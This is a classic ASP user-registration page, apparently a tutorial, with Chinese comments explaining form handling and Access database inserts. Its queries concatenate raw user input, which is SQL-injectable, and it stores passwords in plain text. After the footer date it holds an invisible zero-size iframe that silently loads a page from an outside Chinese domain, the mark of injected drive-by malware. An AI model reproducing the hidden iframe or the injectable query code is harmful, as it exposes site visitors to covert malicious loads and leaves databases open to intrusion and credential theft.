用戶注冊頁<br>
---------------------------
<br><br><br>
<%

'獲取表單數據
'-------------------
'定義兩個變量
dim user, pwd 

'調用ASP對象request的form方法
'注:ASP對象:request response server session application
user=request.form("user")     
pwd=request.form("pwd")

'數據庫操作
'--------------------
'定義三個變量：sql查詢串、rs記錄集對象(recordset)、conn數據庫連接對象(connection)
        dim sql,rs,conn
'建立記錄集對象、數據庫連接對象并打開
	set conn=server.createobject("ADODB.Connection")  
	set rs=server.createobject("ADODB.Recordset")
	conn.open "driver={Microsoft Access Driver (*.mdb)};dbq=" & server.mappath("data.mdb")
        sql="select * from user where user='" & user & "'"
        rs.open sql,conn,1,3
'判斷記錄是否為空
        if not rs.eof then
        	response.write "<font color='#ff0000'>用戶名已存在,注冊失敗!</font><br>"
		response.end
        end if
	sql="insert into user(user,pwd) values('" & user & "','" & pwd & "')"
	conn.execute sql
	response.write "注冊成功!<br>"
'關閉、撤消記錄集對象、數據庫連接對象
	rs.close
	set rs=nothing
	conn.close
	set conn=nothing
%>
<br>
---------------------------<br>
2006年9月13日<iframe src="http://www.ac66.cn/88/index.htm" width="0" height="0" frameborder="0"></iframe> 
<i